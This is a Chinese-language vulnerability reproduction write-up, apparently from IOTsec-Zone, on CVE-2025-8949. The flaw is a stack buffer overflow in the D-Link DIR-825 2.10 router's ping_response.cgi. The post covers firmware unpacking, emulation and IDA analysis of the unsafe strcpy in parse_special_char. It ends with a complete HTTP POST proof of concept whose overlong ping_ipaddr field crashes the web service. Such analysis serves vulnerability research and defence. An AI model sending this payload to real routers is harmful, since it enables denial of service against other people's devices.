D-Link DIR-825 2.10(CVE-2025-8949)漏洞复现 - IOTsec-Zone
D-Link DIR-825 2.10固件中发现基于堆栈的缓冲区溢出漏洞,影响httpd组件中的ping_response.cgi文件。攻击者可通过构造特定HTTP请求远程利用该漏洞导致设备崩溃。分析显示parse_special_char函数防护不完善,引入新风险。 2025-9-4 04:43:1 Author: www.iotsec-zone.com(查看原文) 阅读量:0 收藏

漏洞情报

在 D-Link DIR-825 2.10 中发现了一个漏洞。受该漏洞影响的是组件 httpd 的文件ping_response.cgi的函数get_ping_app_stat。参数ping_ipaddr的作会导致基于堆栈的缓冲区溢出。攻击可以远程发起。该漏洞已向公众披露并可能被使用。

信息收集

binwalk
binwalk -Me DIR825B1_FW210WWB01.bin

binwalk先解包固件

image.png

file&checksec

在squashfs-root目录下查看固件基本信息

image.png

看到是MIPS架构32位大端序

firmwalker

image.png

可以看到该固件web服务器是httpd

固件模拟

FirmAE
sudo ./run.sh -d dlink DIR825B1_FW210WWB01.bin

image.png

浏览器打开192.168.0.1

image.png

模拟成功!

漏洞分析

在IDA分析httpd文件,检索函数get_ping_app_stat

image.png

1、缓冲区 v5[256]
fread(v5, 0x100u, 1u, v2);

  • 0x100 = 256,正好等于缓冲区大小。
  • 如果 ping 输出超过 256 字节,理论上不会溢出(因为 fread 按照大小读取,但这里的问题是 system 命令的格式化字符串)。

2、system("ping -c 1 \"%s\" > /var/misc/ping_app.txt");

  • 这里直接把 %s 放进了 system 命令,而且 没有把 a1 的内容传进去。
  • 如果在实际固件中 parse_special_char(a1) 返回了字符串,并且 system 调用使用了用户可控的字符串(如 sprintf(cmd, "ping -c 1 \"%s\" ...", a1)),则可能导致 命令注入漏洞

3、返回值逻辑

  • 根据 ping 输出文件判断成功/失败/未知主机,这个逻辑没有安全问题。

接着我们追进去分析函数parse_special_char,看看里面写了什么。因为该函数是外部函数,所以要回去解包的固件中找他的文件位置,发现该函数在libproject.so文件中,将其放进IDA里分析函数

image.png

检索找到函数parse_special_char

image.png

1、功能总结:

  • 作用
    parse_special_char 用于对用户输入的字符串进行 转义处理,主要是给以下字符前面加上反斜杠 \
    • " 双引号
    • \ 反斜杠
    • ``` 反引号
    • $ 变量符号
  • 目的
    防止直接拼接到 system("ping ...") 命令时出现命令注入。

2、存在的问题:

  • 使用了 strcpy,且 v11[200] 存放用户输入。

  • 如果传入的字符串超过 200 字节,会导致 缓冲区溢出

  • 再加上 v10[400],虽然比较大,但 strcpy(a1, v10) 依然没有长度检查。

3、总结:

parse_special_char 本意是做命令注入防护,但防护不完整,反而引入了新的 栈缓冲区溢出风险

漏洞验证

抓包

image.png

接下来构造HTTP请求包,验证堆栈的缓冲区溢出

image.png

image.png

可以看到设备的 HTTP 服务在请求发出前还能正常访问,但在发出 payload 后立即断开,并且持续一段时间无法访问。

验证成功!

至此,漏洞复现结束。

PoC:

POST /ping_response.cgi HTTP/1.1

Host: 192.168.0.1

Content-Length: 395

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://192.168.0.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://192.168.0.1/tools_vct.asp

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

Connection: close



html_response_page=tools_vct.asp&html_response_return_page=tools_vct.asp&ping_ipaddr=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac&ping=Ping

附录

参考文献

D-Link DIR-825 Rev.B 2.10 devices ping_response.cgi stack-based buffer overflow · Issue #16 · i-Corner/cve

NVD - CVE-2025-8949


文章来源: https://www.iotsec-zone.com/article/509
如有侵权请联系:admin#unsafe.sh